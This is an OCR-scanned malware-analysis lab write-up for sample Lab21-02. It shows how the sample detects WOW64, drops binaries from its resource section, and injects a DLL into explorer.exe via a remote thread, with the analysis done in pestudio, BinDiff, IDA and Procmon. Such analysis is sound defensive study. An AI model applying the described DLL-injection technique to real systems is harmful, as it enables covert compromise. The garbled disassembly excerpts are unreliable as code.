B EEEE 88 E—mer— eSS En To
feeRREa148681093 call cs:CreateProcessA
aaaaea14008189E or edx, BFFFFFFFFh ; dwMilliseconds
epaeeaaliaealesl call cs:WaitForsingleObject
2eaaaea 148881847 wor eax, eax
88006001400010A9 add rsp, BE@h
feeRRAE148881888 pop rbx

essInformation.hProcess] ; hHandle

h- Analyze the malware found in Lab21-02.exe on both x86 and x64 virtual

machines.

i-What is interesting about the malware’s resource sections?

Because we know this malware is similar to Lab12-01.exe, we can compare the malware’s
resource sections to that of Lab12-01.exe and see if there’s any noticable differences. By
opening both of these in pestudio, we can see that Lab21-02.exe has an added section called
.rsrc and a number of extra imports and strings.

- - fEEr] - =
file help
T = 2
T c \user\desktop\binarycollection\chapter_. valia SakTE value e
ateee) text .rdata data | e
it b i C3EB1CIDSEETFOFRTDASA1.. EEEEICCEEFDCDOSIDECEAE..  El eros2..| 9512524408ACTD4B0B153ET...
gmE 5 = :’75 hyt’:)s 6.443 4795 2.491 5.307
e 1163 % 523 % 1.74% s0.81 %
0xDD000400 0x00D05400 0x0DD07800 0x00008400
0x0DO05000 (20480 bytes) 0x00002400 (9216 bytes) CxDDOOOCOD (3072 bytes) 0x00022C00 (142336 bytes)
virtual-address 0x00401000 ©x00406000 0x00408000 0x0040B000
OxDOOC4E14 (19988 bytes) 0x00002304 (8964 bytes) 0xDODO1SEA (6372 bytes) 0x00022A82 (141954 bytes)
0x00001878
x
st strings (73/1673)
Bl manifest (asinvoker)
)
pestudio 8.99 - Malware Initial Assessment - www.winitor.com [c\users\useridesktop\binarycollectionichapter_121\lab12-01.exe] - o

help

1%

user\desktop\binarycollection\.chapter_
indicators (3/18)

dos-header (64 bytes)

property

mds

entropy

file-ratic (88.89%)
raw-address

value value
ext
F294FABDAFEDEOFEDDBTDE...
6219 2.396
44.44 % 1111 3%
0x00001000

0x00004000 (16384 bytes)

0% 00005000
0x00DD100D

000401000 OxD0405000
0x000D39D8 (14808 bytes) 0x00000852

0x0000137F

AB375616A03702072374675...

value
.data
SDAEAESFFT1441300ACECE...
0.478

3333 %

0:00006000

0:x00003000 (12288 bytes)

0% 00406000

0x0O0DZASC (10908 bytes)

(4096 bytes)

(2130 bytes)

x

The added section is a resource section, and if we examine what is contained within it, we
can see three interesting binaries named x64, x64DLL, and x86.
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-

| file help

(@ M 7 ki

=I5 chusersiuseridesktop! binarycollectiont.chapter_. | fype (2) name file-offset (4) signature non-stendard  size (141658 bytes) file-ratio (80.43%) md3 e
A indicators (3/26) BIN 64 (%00D0B128 executable... x 39424 22.38% B951FSCSE1095D31FAFRD324C70B5297 |5
"nd e BIN X64DLL 0x00014828 executable.. x 5273 29.94% C2E07BAG6ICBAFTBBOBBC2DAEBODBIDT | 5.
éd“' :ab ;’jﬁb "‘EJ‘] BIN X236 000021928 executable... x 49152 7.9 % ABFEODEFDEATC]SAFBATASDDBAD2R6TE |4,
BB dos-stub (176 bytes]

2 manifest T 0x0002D328 manifest - 345 020% 24D3B502E1846356B0263F45DDD5528 4,

> file-header (Nov.2011)
> optional-header (consele)
= directories (4)

> sections (89.42%)

>
47 imports (16/76)

| pestudio 8.99 - Malware Initial Assessment - www.winitor.com [c/\users\user\desktop!binarycollection'ichapter_12\lab12-01.exe] - o x
. help
] c\users\user\desktop binarycollection\chapter_ | type e file-affset sigrature, || dRocstandard | e file-ratio mds entro
i indicators (3/18)
..... S

..... > dos-header (64 bytes)

T8 dos-stub (160 bytes)

..... = file-header (Nov.2011)

> optional-header (file-checksum)
..... & directories (2)

» sections (88.80%)

..... o libraries (count)

imports (3/45)

L)

resources (n/a)

----- abe strings (14/170)

Although this malware is similar to Lab12-01.exe, we’re not entirely sure how similar it is.
To do this we should look at similarities between our sample ‘Lab12-01.exe’ and ‘Lab21-
02.exe’. We can utilise a disassembler plugin such as BinDiff to get this information at a
glance. This requires a disassembled binary be present from either a paid pro version of IDA,
or the free alternative Ghidra.

If we want to install this plugin into Ghidra, we first must install it on our OS from the
provided msi file. From here we can run Ghidra and click File > Install Extensions.
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@ Select extension = I
%= = ¥ |.C:lprogram Fies BiDiffiextra\ghidra_ | % > B
| ghidra_BinExport.zip |

File name: Ighidra |

Type: Ghidra Extension o |

e e | |

After installing this, we need to restart Ghidra and disassemble both Lab12-01.exe, and
Lab21-02.exe. We should also set these to automatically analyze the selected binary.

@ Analysis Options

- Analyzers r Description

Enabled Analyzer Mame Finds walid code in undefined bytea that have

“ ve Instruction Finder (Prototype) not been disassembled.
= Apply Data Archives WARNING: This should not ke run unless good ]
1 ASCII Strings
G| Call Convention Identification ~Options
1 Call-Fixup Installer
O Condensze Filler Bytes (Prototype) Create Analysis Bookmarks []
| Create Address Tables
%G| Data Reference
| Decompiler Parameter ID
& Decompiler Switch Analysis
1 Demangler b

| SelectAl | DeselectAl | | Restore Defaults

e ] | ool |

Once analysis is complete we can use File > Export, and select ‘Binary BinExport for
BinDiff.
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&9 Export Lab12-01.exe ot

Format: |Binary BinExport (v2) for BinDiff | -~

Output File: i::‘n,l_lsnars \UseriLab12-01.exe

Selection Only: Options. ..

Cance

Once this is complete for both our binaries, we can compare the 2 BinExport files using
BinDiff. We will need to first setup a workspace.

‘, -
File §ettings Help

| =% Workspace |

0 Single Function Diff Views

| Single Function Diff Views (0)

b

Primary Image M..| Primary Image H..| Secondary Imag... Secondar}rlmag..l View Name

From here we can compare our 2 BinDiff exports.

il
@® MNew Diff

Primary Source
Primary file: |C:\Users\User\Desktop\Lam 2-01.binexport | |

Secondary Source
Secondary file: |C‘.\Users\User\Desktop\LabZl-UZ.hinexport | |

Diff Destination
Lab12-01 vs Lab21-02 |

| Diff H Cancel |

The end result is a number of graphs and functions we can drill down into and see what has
changed, and in fact a lot has changed between these 2 binaries.
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Basic Blocks 23.5%

Jumps 6.9%

DD

| 52 / 52 Matched Functions

82401447

Address . Primary Name
ea4214D4 FUN_eB24814d4
ea481EE4 __global_unwind2
80484858 RtlUnwind
804826BE FUN_BB4826be
B8482468 _strlen
224028%F FUN_eo42289f
ea491D1a FUN_ee421d1@
80461483 FUN_B88481483
e2481F26 ——local_unwind2
ee4814ES —_exit
22481720 FUN_ee48172d

| ea4e1000 FUN_e2a481288
808482899 FUN_B88482899
B84B81FBA FUN_BB481 fba
8e4826F1 FUN_BB4826f1
e48137F entry
P2421EE85 FUN_©2481e85
B804B8271A FUN_BB48271a
B84816EA FUN_BB4816ea
80483344 FUN_@ee84083344
284822E8 FID _conflict:__mbscpy
224817E6 FUN_B24817e6
8084081 A33 FUN_B88481a33
Be4828Ce FUN_B84828cB8
B884823A8 _malloc
20404860 FUN_ee4048680

| 884824DB FUN_ee4024db
BB483FC9 FUN_BB483fc9
88482674 FUN_BB482674
ee4841ED FUN_ge4841ed
e84837F9 FUN_e@4837f9
Ba483AF1 FUN_e2483af1
BO402FF8 FUN_Ba4e2ffo
B884B828ED FUN_BB4aB2zBed
8e4823DE FUN_ge4823de
ee481eDe FUN_ee4el1ede

FUN_224814a7

ii-Is this malware compiled for x64 or x86?

Using our BinDiff above we have a graph which tells us what this malware is compiled for.

& Workspace

| Overview

] single Function Diff Views (0) 4
@ Ve L ¥

Functions 31.0%

Similarity 0.13

Matched Functions
e
w [=] w o

=}

Diff Info

Diff Path

Ci\Users\User\BinDiff Workspace\Lab12-01 vs Lab21-02\Lab12-01_vs_Lab21-02 BinDiff

| Functions

x86-32 (32-bit)

|| Fte Date May 31,2021 10:02:11 AM
.| Primary Image | Secondary Image
|| 1p& Name Lab12:01 ” IDB Name Lab21-02
‘[imageName  Lab12.01.exe | Image Name Lab21m.exe|
Hash Tfb3caa0i0aef171fa67bdfa0e67f00ef25b5a1d401dcz0 | |Hash fa2543bcc1283226250260 1182424637 7c6Tc25a1 55841
| Architecture xB6-32 | Architecture %86-32
| Functions
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We can also use a number of other tools such as peview, PE-bear, pestudio or DIE to get the
same information as this is stored in the File Header.

] - o <@
file help "
z v @ b21-0zexe - ||x| ® 2
557 c\usersuserdesktop\binarycollection\chapt A | property i ~ DOS Header
i indicators (5/28) ST 0x00004550 (PEOC) @ oS stub -
machine Intel > B NIgjesders 7610
b doshesr (o4 byt e = Signat.. e
compiler-stamp 0:4ECBOBSE (Mon Nov 21 e i) -
= pointer-symbol-table Opio. iead
7650
=4 directories (4 numberof symbols . SE“‘S:"‘:‘“"H = - =
b sections (99.42%) | size-of -optional-header 224 (bytes)
v ted Disasm: [.rdota] to [data]  General  DOSHdr | RichHdr i | oOptoraiter  sectonrrs 8 tmports
i = = % s Lrdae] o e o] o :
&7 imports (16/76) relocation-stripped true = EP.. Name Value Meaning
= large-address-aware o data Machine 14e Intel 385
-0 uniprocessor o data Sections Count 4 4
e & e Time Date Stamp 4ecbosse Tuesday, 22.11.2011 02:26:54 UTC
e dynamic-link-library FstoSyrdoljble 0 9
A executable true Nur of ymbok A 1
[ manifest (asinvoker) debug-stripped e 224
¢ > | redenten s < 1 Relocation info stripped from file.
unresolved externel references)
sha256: FA25438C CF 12830262 SE26C 1FB24246377CEFC2SAFS5 A4FBSO012B63B3D4E 168 cpus bt filet = e .
[ C < | 13, PEview - C:\Users\User\Desktop\BinaryCollection\ Chapter_21L\Lsb21-02.exe - o x
e nene | Fie View Go Help
(C:users User/Desktop/BinaryColecton/Chapter_21L .ab21-02.exe . 2000 ¢ o ®#|uwe=
e e R e & Lab21-02.exe pFile Data  Description Value
- = = IMAGE_DOS_HEADER || 000000F4 014C Machine IMAGE_FILE_MACHINE_1386
== Os0197% tem i80200008: ooy zem Strings MS-DOS Stub Program || 000000F6 0004 Number of Sections
o e o — s G iy e - IMAGE_NT_HEADERS || 000000F8 ~ 4ECBOSSE Time Date Stamp 2011/1/22 Tue 02:26:54 UTC
= e — = 000000FC 00000000  Pointer to Symbol Table
cctions e i=0fia canes Hex [ [DIE=ENERENT (] 00000100 00000000  Number of Symbols
oco0a > 0111121 18:26:54 0002¢000 Manifest IMAGE_OPTIONAL || 00000104 00E0  Size of Optional Header
IMAGE_SECTION_HEAI | 00000106 0103 Characteristics
Scan Endanness | Mode Archtectre Type - L
s IMAGE_SECTION_HEAI 0001 IMAGE_FILE_RELOCS_STRIPPED
Detect It E25y (DE) - 13 2 1356 Console IMAGE_SECTION_HEAI 0002 ABLE U4AGE
» INAGE_SECTION_HEAI 0100
compiler Microsoft Visual €/C++(2010)bcmt] s ol
linker Microsoft Linker(10.0)(DLL32,console] sz 5 SECTION rdata
SECTION _data
- SECTION _rsre
Optons
Signatires Deep scan About
Sean < > |« >
= 2 Log o 2 Viewing IMAGE FILE HEADER

iii-How does the malware determine the type of environment in which it is running?

Comparing this to Lab12-01.exe, our previous analysis revealed that the main method
contains a number of checks and operations before the main functionality begins. If we go to
the start of the program we may see evidence of analysis failure.

ol = [

public start
start proc near

T B2a BRBBOE s
@ BOBBDD =
@10 BB EOE ] s
B0 BODRED 2 s
=ES:] EHEHDHE ] s
B0 BBDE s
& S s
CHUMK AT @816 =l=Tete =

call sub_ aa32F2

i’mi loc A4BLI1T

loc 461817 :

push 14h

push offset unk_4se7A7e
call H pro =4

o esi, esi

cmp dword_4easCs, esi
Jjn= short lLoc 481838

¥

push esi 3 HeapInftormationLength
push esi 3 HeapInformation

push | 5 HeapInfTormationClass
push esi 3 HeapHandle

call d=s:HeapsSetInformation
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In this instance it’s not a big issue and we can safely ignore that. Scrolling down in IDA, we
know that any checks to determine what type of environment it is running in is likely to
occur after a call to ‘GetCommandLineA’. We soon find this call, and 5 subsequent calls to
examine of interest.

mon [ebp-4], esi
call sub_26388F

test cax, eax

jns short loc_491885C

W CHUNK FOR

=
call ds :GetCommandLines

call sub_apzrrs

Teest eax, eax
jns short loc_4@18F3

cmp eax, esi

mon cax, dword_209850
mon dword_466B54, eax
push
push

ush
ca11
= ==p. ©C
mon [ebp-20h], eax
cmp [ebp-1Ch], esi
jnz short loc_a®1933

Tt GWeORTL RIS — mesrt
dword ptr -@ch
dword ptr -&
dword ptr -4

ebp
ebp. es

eax, L31LCh

_ _alloca_probe
=boc

ebx, ds:GetModuleHandles

esdi

eddi

=] 5 lIpModuleNams
[ebp+var_Cl. @

ebx 3 Ge ocduleHarnd Las

e=i, d=s:LoadLibrary
offset Prochame ;
offset LibrFileMams
[ebp+twar al, eax

esi ; LoadLibrarysa

edi, ds:GetProcaddress
== 3 hrModule
edi ; GetProcaddress
offset aGetmodulebasen ;
offset LibFileMams ; “ps=
dword__aearzac, =ax

esi ; LoadLibrarya

=ax 3 hmodule
edi ; GetProcAddress

offset aEnumprocesses
offset LibFileMams ; =
dword__a4aasa7oad, ear

e=si ; LoadLibrarya

eax 3 hMmodule
edi ; GetProcAddress
dword__a4eaA758, eax

LEah 5 uSize
eax, [ebp+Buffer]

eax ; lpBuffer

ds:GetSystemDirectoryd
esi, ds:lstrcata
offset String2 i "o Vo
ecx, [ebp+Buffer]

ec 5 1lpStringl

e=i ; I=trcats

offset alswowbildproce==s ; Proce==s"
offset ModuleMName ; "kernel

[Ebpitvar 101, O

ebx 3 GetModulcHandlcs

ear 3 hModule

edi ; GetProcAddress

dword A48aA7As, caz

earx, eax
short loc_ 481322

w
[ =S|
lea edx. [ebptwar_1e]
push =dx
call ds:GetCurrentProcess
push a
[c=11 dword_4a4osa7Aas |

In the above we see the malware is attempting to resolve the location of the
‘IsWow64Process’ export within Kernel32.dll. Where this is found it will then get its own
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process ID and execute IsWow64Process which has dynamically been resolved
(dword 40A7ASR).

From this we can tell the malware attempts to resolve and call ‘IsWow64Process’ to
determine if it is running on a 64-bit or 32-bit OS.

iv-What does this malware do differently in an x64 environment versus an x86
environment?

If we examine code flow after the check for ‘IsWow64Process’, depending on whether or not
this returned true or false in [ebp+var 10], a different number of actions will be taken.

—

5 uLHitLo:eI

—

Lo _SOL 368 :

=ty edi, dm:k=t .

lea cax, [chptSuffor

= 5 dpString2

2]
: lpstringl

5 ApStringl

s 1

offset ac :

cax., [chp+tFacomstess]

et 5 lpSoringl

e t -

cecx. [ebptBuffer]
< 3 ApString2

: Ilpstringl
A

1 O e oy
=]

P 1L - A £ e
offoot File -

offact Operaticn
Forars s

of fact mlab2i1@zDlL

If it returns true, then the malware assumes it is running in an x64 (64-bit) environment. This
is due to it being compiled for an x86 (32-bit) environment and needing to be run under
WOW64 when executing on a 64-bit OS.

First we see 2 calls to ‘sub 401000 which is associated with getting 2 different files from
the binary resource section and saving them to disk, these binaries are then saved as ‘Lab21-
02x.exe’ and ‘Lab21-02x.dllI” before Lab21-02x.exe is launched and the program terminates.
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|coa0000000401334 b

ush  offset alabaloaxil |

sh  offset axe4dll

339 moy i 1
0000000000101338 call __ cub_ 101000
5606600006301 946 add =
ovcocovooeanlsas test e ax
o0s0e00000401345 jnz =i Loc_40134D

K

=
= ]
1344 Cail  sab_soivac
iy
(]
lcoe0oe00054515
epapananananT 24 Tar_aoi3an

401340 push

1352 push  offsct o

offzet asLabaieafe

Tebpenrasoata], edi
s, edi

Short loc_s9103¢

s - = Terminas
12
(=]
|0000000000481371 lea eax. [ebp+Buffer]

ecx, [ebptstringl]

Exe
edx, [ebptBuifer]

|anaaanaRasaT IRC push  edx 3 IpStringt

211  esi i deeccaua

|0000000000401395 call  edi : lstrcpya
|anaenaRaRa4a1 390 e ecx, [ehptRutfer]
|0000000000161303 push  ecx 3 lpstringa
A4 lea cdx, [ebptParameters
|opoooo0o0Rd013AA push  edx 5 1pstringl

all  esi; lstrcatA

ush :_nShowcmd
e emx, [ehptstringl]

aax 5 1pDirectory
ca ecx, [ebptParameters]

looooeo0o00an1s8C push ecx lpParameters
(000000000E40135D push  offset File “cmd. exe"
|00000000804613C2 push  offset Operation pen”
lananaanARasm 37 push A

|00000000001613C5 call  ds:Shellexscuten

™

all  sub 401785

32-bit (x86 Actions):

If we examine the 32-bit case at a glance, we can see the following actions taken:

Ser push offaet ac 2 |
353 Tes —eax, [ebptParameters]
000600000640139A push  ewx 3 1pStringt

‘ /

000800000040103C 1oc_s0103C + hResInfol
050000000040103C push
0008600000501030 push : hodule
0000000000401032 call s :LosdResource
(Gooac0000ato: eax, eax
[oooec0nseesaioas 3z loc/ao1120

§ Aedale

T Tarrorect

Malware Analysis

First we see a call to ‘sub_401000 which is once again associated with getting a file from
the binary resource section and saving it to disk (Lab21-02.d1l). From here we then see the
malware allocating the extracted DLL into a buffer for later use, and attempting to grant

itself Debug Privileges. From here it then opens a handle to a process with the name

‘explorer.exe’.

0000600000401306 loc_4813D6:
mov eax, [ebptvar_4]
0000000000401309 push  offset alab2182D11

3DE push __ offset axs6 3
00000000004013E3 [call  sub 461000
ER add

Allocate Lab21-02 dll
into a buffer

0000000000401407 lea ecx, [ebp+dwProcessId]
000000000040140D push  ecx
ooooeoeeeadn1seE call  dword 2eA7S0

|pee0e000004013E8 push  offset aLab2102D11 ; "Lab21-62
|eeeoeacasasaisra 1ea edx, [ebp+Buffer]

FE push  edx 5 IpStringl
00000000004013F7 call  esi ; lstf:ati—-__‘—_‘--—
60006000004a137F9 [call _ sub 461156]
00000000004015FE 1lea eax, [ebp+var_5]

0000000000401401 push  eax
6000000000401462 push  1680h

0000000000401414 test  eax, eax
6000008060401416 jn= short loc_481424
L i
]
edi cooooooeoe4e1424
esi 6000000000461424 loc_401424:
eax, 1 6000060006461424. moV’ ecx, [ebptvar_s]
ebx 0000000000401427 shr ecx, 2
esp, ebp 00PEOEEERE20142A Xor ebx, ebx
ebp 600006000646142C mov [ebptvar_a], ecx|
000000000040142F test  ecx, ecx
eo0o000E00461431 jz short loc_401499

ox, [ebprhmtate pr
1p

Toileges)
Luid

¥
il s = =

o [pocooosomosonies
lovocooosnoeiizs puin  cix hooject] [ovosoooonosen ey 1oc seaes.
[sesaoeasnsoiize tall __sarcl e

|oeee000000a01186 push

ikl s =

1433 jmp short loc_aa144e

2

s =

1440
1446 loc_401440:
1446 mov eax, [ebprebx*a+dwProcessId]
447 lea edi, [ebptebx*a+dwProcessId]
000000000040144E xor esi, esi
1450 test  eax, eax
1452 3z short loc_4@1463

\‘L

bl =i =

145D add esp,

1a5a[push  eax 3 dwProcessid
0000000000401455 [ call  sub 401140
145A WOV =cx, [ebptvar &

p. 4
evo0000000401460 mov [ebp+var_C], eax

ol i =1

oopoeapeeai01463

0000000000401463 loc_201463:
0000000080401 463 [ebptvar C], 1
eopae0pER0401467 jnz short loc_se14ss
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Looking further at the malware, we can see that after getting a handle to a process with the
name explorer.exe, it will attempt to open the process, allocate memory, write the dropped
DLL into that process memory, and then create a remote thread to run and execute the
injected DLL.

v-Which files does the malware drop when running on an x86 machine? Where would
you find the file or files?

From the above analysis we know that the file dropped when run on on x86 machine will be
‘Lab21-02.d1I’. Using Procmon and running the binary on an x86 system we can see this
attempting to be written. In this case we haven’t run the malware as an administrator so it is
unable to write the file.

1242569524 ¥ Leb2102ec 1104 BhCreateFile C\Windows '\ System32\imm32 i SUCCESS
1:24:25.69538... W Leb21-02exe 1104 BhCreateFile C:\Windows\System32\imm 32 i SUCCESS
1:24:25 69563, §  Lab21-02.exe 1104 5\0&ETEH|E CWWindows* System32\imm 32 dll SUCCESS
1242569578, W lsb?102e0e 1104 BhCreateFile \Windows'\System32\imm 32.dil SUCCESS
1:24:2572204... 5 Leb2102exe 1104 BhCreatefile Windows\System32\Lab21-02.dI

This shows us that the file Lab21-02.dll is dropped to C:\Windows\System32\Lab21-02.dll
when run on an x86 machine.

vi-Which files does the malware drop when running on an x64 machine? Where would
you find the file or files?

From the analysis in question 4 we know that the file dropped when run on on x64 machine
will be ‘Lab21-02x.exe’ and ‘Lab21-02x.d1l’. Using Procmon and running the binary on an
x64 system we can see this attempting to be written. In this case we haven’t run the malware
as an administrator so it is unable to write the file.

... W [ab21-02.exe 4160 gaCreateFile C:\Windows\SysWOWE4 wuserd2 dl SUCCESS Dt
W Lab21-02 exe 4160 [FhCreateFile C\Windows \SysWOW 64 shell 32 dll SUCCESS Ds

:2... W Lab21-02 exe 4160 %CreateFile C:\Windows \SysWOW64imm32.dIl SWCCESS D¢
B Lab21-02 exe 4160 %CreateFile C:\Windows \SysWOW64imm32.dIl SUCCESS D¢

... W Lab21-02.exe 4160 %Createﬁle CWindows \SysWOW64umm32.dIl SUCCESS D¢
W Lab21-02 exe 4160 a[:neateﬁle C:uUsersUser\Desktop ' BinaryCollection® System Resources\Lab21-02 exe mun PATH NOT FOUND De

:2... W Lab21-02 exe 4160 aCreateFlle C:iUserstUzer\Deskiop'BinaryCollection’.System Resources’\Lab 2102 exe mun PATH NOT FOUND De
Lab21-02 exe 4160 aCreateFlle CWindows \SysWOW 64 edgegdi dil MAME NOT FOUND D¢

b1 03, A1 oA L Sya\UOIE L pecpi-di SLICCESE. D¢
C:\Windows'\SysWOWE4\Lab21-02x dll ACCESS DENIED D

1 Lab21-02.exe 4160 FhCreateFile C:\Windows'SysWOWE4Lab21-02x exe ACCESS DENIED | D¢
... W [abZ U2 exe ZT60 Teate e T WVindows woys WOV B2 ombase al SUCCESS D¢
... W |ab21-02.exe 4160 @Createﬁle C:\Windows \SysWOW64'\5HCore dll SUCCESS Ds

This shows us that the files Lab21-02x.exe and Lab21-02x.dll are dropped to
C:\Windows\SysWOW64\Lab21-02x.exe and C:\Windows\SysWOW64\Lab21-02x.dll when
run on an x64 machine.

If we take a closer look at ‘sub_ 401000’ which performs the file dropping on both an x64
and x86 OS, we can see how this happens.
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